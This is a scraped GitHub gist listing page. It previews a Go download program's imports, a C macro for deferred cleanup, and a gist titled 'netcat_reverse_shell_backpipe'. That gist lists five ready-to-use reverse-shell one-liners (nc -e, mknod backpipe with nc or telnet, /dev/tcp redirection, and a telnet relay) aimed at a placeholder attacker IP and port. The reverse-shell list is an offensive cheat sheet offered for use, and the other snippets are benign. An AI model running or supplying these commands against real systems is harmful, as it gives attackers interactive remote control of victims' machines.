Skip to content

Instantly share code, notes, and snippets.

View aedrax's full-sized avatar

Paul Sorensen aedrax

  • OP[4]
  • United States
View GitHub Profile
@BenBurnett
BenBurnett / gdown.go
Last active January 17, 2022 13:31
goff download
package main
import (
"encoding/json"
"fmt"
"io"
"io/ioutil"
"log"
"os"
"os/exec"
@baruch
baruch / defer.h
Created May 27, 2018 19:09
Defer cleanup for C (gcc and llvm)
#define DEFER_MERGE(a,b) a##b
#define DEFER_VARNAME(a) DEFER_MERGE(defer_scopevar_, a)
#define DEFER_FUNCNAME(a) DEFER_MERGE(defer_scopefunc_, a)
#define DEFER(BLOCK) void DEFER_FUNCNAME(__LINE__)(int *a) BLOCK; __attribute__((cleanup(DEFER_FUNCNAME(__LINE__)))) int DEFER_VARNAME(__LINE__)
// Usage:
/*
void dosomething()
{
char* data = malloc(100);
@sckalath
sckalath / netcat_reverse_shell_backpipe
Last active June 20, 2024 14:29
Netcat without netcat
#1
nc <attacker_ip> <port> -e /bin/bash
#2
mknod backpipe p; nc <attacker_ip> <port> 0<backpipe | /bin/bash 1>backpipe
#3
/bin/bash -i > /dev/tcp/<attacker_ip>/<port> 0<&1 2>&1
#4
mknod backpipe p; telnet <attacker_ip> <port> 0<backpipe | /bin/bash 1>backpipe
#5
telnet <attacker_ip> <1st_port> | /bin/bash | telnet <attacker_ip> <2nd_port>